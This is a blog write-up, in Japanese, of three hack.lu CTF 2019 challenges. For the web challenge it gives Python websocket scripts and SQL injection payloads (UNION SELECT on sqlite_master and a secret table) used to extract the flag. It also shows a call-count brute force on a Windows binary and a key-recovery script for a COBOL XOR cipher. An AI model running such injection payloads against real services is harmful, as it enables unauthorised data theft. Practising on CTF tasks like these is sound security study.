hack.lu CTF 2019 Writeup
hack.lu CTF 2019 Writeup について
hack.lu CTF 2019 が開催されました。
2019年10月22日午後7時~2019年10月24日午後7時(48時間)
https://fluxfingersforfuture.fluxfingers.net/info
かなり難易度の高いCTFでした。OTセキュリティに焦点を当てているのか、 別のアーキテクチャのPwn問題だったり、古い言語が使われていたり、工場系のワードがよく出ていました。 一応今回もチームで参加しましたが、私しか解けていませんでした。 結果は、104/973位で477点でした。このCTFの中で回答率の高い3問解けたので、そのWriteupを紹介します。
hack.lu CTF 2019 Writeup(3問)
Nucular Power Plant(baby-web)
問題
We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
http://31.22.123.49:1909
解答例
指定されたURLにアクセスすると、以下のようなページが表示されました。 原子力発電所の各施設の発電量の確認ができるようです。
とりあえず、F12で確認しました。 main.jsを見てみると、以下の処理が確認できました。 websocketで接続し、Plant情報を取ってきて表示する処理となっているようです。
const elPlantList = document.getElementById('plant-list'); const elPlantListLoading = document.getElementById('plant-list-loading'); const elPlantDetail = document.getElementById('plant-detail'); const elPlantDetailLoading = document.getElementById('plant-detail-loading'); const plantListItem = (ws, plant) => { const li = document.createElement('li'); const fali = document.createElement('span'); const icon = document.createElement('i'); li.onclick = (e) => { ws.send(plant); }; fali.className = 'fa-li'; icon.className = 'fas fa-industry-alt'; li.innerText = plant; fali.appendChild(icon); li.appendChild(fali); elPlantList.appendChild(li); }; const plantList = (ws, plants) => { // clear old entries while (elPlantList.hasChildNodes()) { elPlantList.removeChild(elPlantList.firstChild); } for (const plant of plants) { plantListItem(ws, plant); } elPlantList.style = 'display: block;'; elPlantListLoading.style = 'display: none;'; }; const plantDetails = (plant) => { plantPowerSupply(0); const fields = ["name", "type", "power", "operation", "operator", "shutdown"]; for (const field of fields) { for (const el of document.getElementsByClassName(`plant-${field}`)) { el.innerText = plant[field]; } } elPlantDetail.style = 'display: block;'; elPlantDetailLoading.style = 'display: none;'; }; const plantPowerSupply = (powerSupply) => { for (const el of document.getElementsByClassName('plant-power-supply')) { el.innerText = powerSupply % 101; } }; const main = () => { const ws = new WebSocket(`ws://${window.location.host}/ws`); ws.onerror = (e) => { alert('WebSocket connection failed.'); }; ws.onmessage = (e) => { const data = JSON.parse(e.data); if (typeof data === 'string') { alert(data); } else if (typeof data === 'number') { plantPowerSupply(data); } else if (Array.isArray(data)) { plantList(ws, data); } else { plantDetails(data); } } } main();
Pythonからwebsocketに接続するようなスクリプトを作成しました。
初回接続時にPlant名のリストを取得でき、Plant名を送信するとそのPlant情報が取得できるようです。
また、それ以降は、Current Power Supply
情報が取得できるようです。
from websocket import create_connection import json def main(): ws = create_connection("ws://31.22.123.49:1909/ws") result = json.loads(ws.recv()) print(result) ws.send(result[0]) result = json.loads(ws.recv()) print(result) for _ in range(5): result = json.loads(ws.recv()) print(result) ws.close() if __name__ == "__main__": main()
実行すると、以下のようになります。
$ pip install websocket $ python test.py ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] {'operation': 1985, 'name': 'Gundremmingen C', 'operator': 'RWE', 'shutdown': 2021, 'type': 'BWR', 'power': 1288} 3011294498 2473469445 1778470357 3795357061 3846035812
次に、総当たりで1文字ずつ送信するスクリプトを作成しました。
from websocket import create_connection import json import string def main(): ws = create_connection("ws://31.22.123.49:1909/ws") result = json.loads(ws.recv()) print(result) for ch in string.printable: ws.send(ch) result = json.loads(ws.recv()) print("{}: {}".format(ch, result)) ws.close() if __name__ == "__main__": main()
実行すると、以下のようになります。
$ python test.py ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] 0: Error: QueryReturnedNoRows 1: Error: QueryReturnedNoRows 2: Error: QueryReturnedNoRows # 省略 X: Error: QueryReturnedNoRows Y: Error: QueryReturnedNoRows Z: Error: QueryReturnedNoRows !: Error: QueryReturnedNoRows ": Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\"")) #: Error: QueryReturnedNoRows $: Error: QueryReturnedNoRows # 省略
"
を送信したときだけ、別のエラーが返ってきています。
Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))
SQLiteのエラーが返ってきているので、SQLインジェクションができそうです。 以下のようなスクリプトを作成し、色々なクエリを投げてみました。
from websocket import create_connection import json import sys def main(): if len(sys.argv) < 2: print("input error") return ws = create_connection("ws://31.22.123.49:1909/ws") result = json.loads(ws.recv()) print(result) query = sys.argv[1] ws.send(query) print("query:", query) result = json.loads(ws.recv()) if type(result) == dict: print("result:", end="") for item in result.items(): print("\t{}, {}".format(item[0], item[1])) else: print("result:", result) if __name__ == "__main__": main()
" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master--
と入力すると、nucular_plant
テーブル情報を参照することができました。
このテーブルでPlant情報を管理しているようです。
$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- ' ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- result: operator, nucular_plant shutdown, 1 power, 2 name, nucular_plant type, CREATE TABLE nucular_plant ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, type TEXT NOT NULL, power INTEGER NOT NULL, operation INTEGER NOT NULL, operator TEXT NOT NULL, shutdown INTEGER NOT NULL ) operation, 1
次に " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3--
でrootpageを指定して別のテーブル情報を取得しました。
どうやら、secret
テーブルがあるようです。
$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- ' ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- result: name, secret power, 3 shutdown, 1 operator, secret type, CREATE TABLE secret ( id INTEGER PRIMARY KEY, name TEXT NOT NULL, value TEXT NOT NULL ) operation, 1
あとは、secret
テーブル情報を参考に" UNION SELECT name,value,id,1,name,1 FROM secret--
と入力してみると、フラグが取得できました。
$ python test.py '" UNION SELECT name,value,id,1,name,1 FROM secret-- ' ['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2'] query: " UNION SELECT name,value,id,1,name,1 FROM secret-- result: power, 2 operation, 1 type, flag{sqli_as_a_socket} name, flag operator, flag shutdown, 1
FLAG
flag{sqli_as_a_socket}
VsiMple(rev)
問題
Evil Oil corporations are trying to obfuscate their computers in order to destroy the world. Show 'em their stupidity!
Download challenge files
解答例
実行ファイルを渡されたので、とりあえずfileコマンドを打ってみます。 64bitのPEファイルのようです。
$ file VsiMple.exe VsiMple.exe: PE32+ executable (console) x86-64, for MS Windows
実行してみると、フラグの入力を求められます。適当に打ってみると、:(
と返されました。
PS> .\VsiMple.exe flag pls: hoge :(
次に、Ghidraでデコンパイルしてみました。
60行目を見てみると、ret = (*(&local_d8)[num])(&local_d8);
としており、関数テーブルから関数を指定して、呼び出している処理が確認できます。
また、その関数の指定は、58行目のところでループごとに変動するようになっていまいます。
今度は、実際にx64dbgで動かしながら処理を確認してみます。
該当の箇所でbreakさせました。
Continueを押していくと、以下の順に呼び出されていることが分かりました。
1回目:0x00007FF7C2358240
2回目:0x00007FF7C23581C0
3回目:0x00007FF7C23581C0
4回目:0x00007FF7C23581B0
次に、上記の関数にbreakpointを置いて、flag
と入力して実行してみました。
前回のように適当に入力した場合と違い、呼び出し回数が多くなっているのが確認できます。
さらに、flag{
と入力して実行してみました。
すると、呼び出し回数が先ほどよりも多くなりました。
どうやら1文字ずつ判定しているようです。
ここまで分かったので、1文字ずつ総当たりで、呼び出し回数が多くなる入力を探していきました。
総当たりの結果、flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}
と入力した場合が最大の呼び出し回数となりました。
この文字列がフラグとなります。
FLAG
flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}
COBOL OTP(crypto)
問題
To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
Download challenge files
解答例
以下のようなCobolで書かれたプログラムが渡されました。
identification division. program-id. otp. environment division. input-output section. file-control. select key-file assign to 'key.txt' organization line sequential. data division. file section. fd key-file. 01 key-data pic x(50). working-storage section. 01 ws-flag pic x(1). 01 ws-key pic x(50). 01 ws-parse. 05 ws-parse-data pic S9(9). 01 ws-xor-len pic 9(1) value 1. 77 ws-ctr pic 9(1). procedure division. open input key-file. read key-file into ws-key end-read. display 'Enter your message to encrypt:'. move 1 to ws-ctr. perform 50 times call 'getchar' end-call move return-code to ws-parse move ws-parse to ws-flag call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value ws-xor-len end-call display ws-flag with no advancing add 1 to ws-ctr end-add end-perform. cleanup. close key-file. goback. end program otp.
ソースコードを読むと、以下のような処理となっています。
key.txt
を読み出す。Enter your message to encrypt:
と表示する。getchar
で1文字ずつ標準入力を受け付ける。- 入力値と
key.txt
の値をXORする。 - XORされた文字を出力する。
- 3~5を50回繰り返す。
ただし、よくソースコードを見てみると、77 ws-ctr pic 9(1).
となっており、
ws-ctrは、0~9までしか保持できないようになっています。
よって、XORされるキーは、key.txt
の初めの10文字分となっています。
また、もう一つのファイルを見てみました。 以下のようになっており、出力結果のダンプとなっているようです。
$ cat out Enter your message to encrypt: y;dhuF]UjhC-1T`h&F1*T{_p02J $ hexdump -C out 00000000 45 6e 74 65 72 20 79 6f 75 72 20 6d 65 73 73 61 |Enter your messa| 00000010 67 65 20 74 6f 20 65 6e 63 72 79 70 74 3a 0a a6 |ge to encrypt:..| 00000020 d2 13 96 79 3b 10 64 68 75 9f dd 46 9f 5d 17 55 |...y;.dhu..F.].U| 00000030 6a 68 43 8f 8c 2d 92 31 07 54 60 68 26 9f cd 46 |jhC..-.1.T`h&..F| 00000040 87 31 2a 54 7b 04 5f a6 eb 06 a4 70 30 11 32 4a |.1*T{._....p0.2J| 00000050 0a |.| 00000051
XORキーが10桁分しかないことが分かっているので、後は予測しながらフラグを復号していきます。 おそらく入力された文字列は、以下のような感じになっているはずです。
flag{?????
??????????
??????????
??????????
????????}\n
そのため、XORキーの0~4番目と8~9番目は、求められそうです。
しかし、まだ5~7番目が分かりません。ここは、総当たりをしてみます。
以下のようなスクリプトを書きました。5~7番目は、総当たりで出力するようにしています。
import itertools import string def split_n(s, n): return [s[i: i+n] for i in range(0, len(s), n)] def xor_bytes(b, key): result = bytearray() for i in range(len(b)): dec = b[i] ^ key[i % len(key)] result.append(dec) return bytes(result) def search_key_candidate(enc_flag_list, offset): key = [] for k in range(0x100): tmp_s = "" for s in enc_flag_list: ch = chr(s[offset] ^ k) if ch in string.printable and ch not in string.whitespace: tmp_s += ch if len(tmp_s) == len(enc_flag_list): key.append(k) return key def main(): with open("out", "rb") as f: f.readline() enc_flag = f.readline() enc_flag_list = split_n(enc_flag, 10) key_candidates1 = xor_bytes(enc_flag_list[0], b"flag{xxxxx") key_candidates2 = xor_bytes(enc_flag_list[-1], b"xxxxxxxx}\n") key = [ key_candidates1[0], # f key_candidates1[1], # l key_candidates1[2], # a key_candidates1[3], # g key_candidates1[4], # { 0x00, 0x00, 0x00, key_candidates2[8], # } key_candidates2[9], # \n ] key5_candidates = search_key_candidate(enc_flag_list, 5) key6_candidates = search_key_candidate(enc_flag_list, 6) key7_candidates = search_key_candidate(enc_flag_list, 7) for i in key5_candidates: for j in key6_candidates: for k in key7_candidates: key[5] = i key[6] = j key[7] = k flag = xor_bytes(enc_flag, key).decode("utf-8") print("({:4},{:4},{:4}): {}".format(hex(i), hex(j), hex(k), flag), end="") if __name__ == "__main__": main()
試しに実行してみると、178,416件のフラグ候補が出力されました。
$ python solve.py | nl | tail -n 1 178416 (0x7f,0x7f,0x5f): flag{Do;_u_c4n_h*5_CO2_c3x+?_&_s4v3U+$3_fUtUrOnm}
ここからは、grepしながら探していきます。
フラグの後半にfUtUr
という文字列があり、future
のように見えます。
以下のように、grepしてみると、3,024件まで候補を絞ることができました。
$ python solve.py | grep fUtUre | nl | tail -n 1 $ python solve.py | grep fUtUr3 | nl | tail -n 1 $ python solve.py | grep fUtUrE | nl | tail -n 1 3024 (0x75,0x7f,0x5f): flag{No;_u_c4n_b*5_CO2_c3r+?_&_s4v3_+$3_fUtUrEnm}
3,024件程度なら目grepできそうです。
flag{
の後のN
から始まる3文字の単語でいい感じのやつを目grepしました。
18行目が一番いい感じになっています。
18 (0x75,0x20,0x13): flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}
強引でしたが、これがフラグとなっていました。
(もっとスマートに解くには、どうすればいいんだろうか......)
FLAG
flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}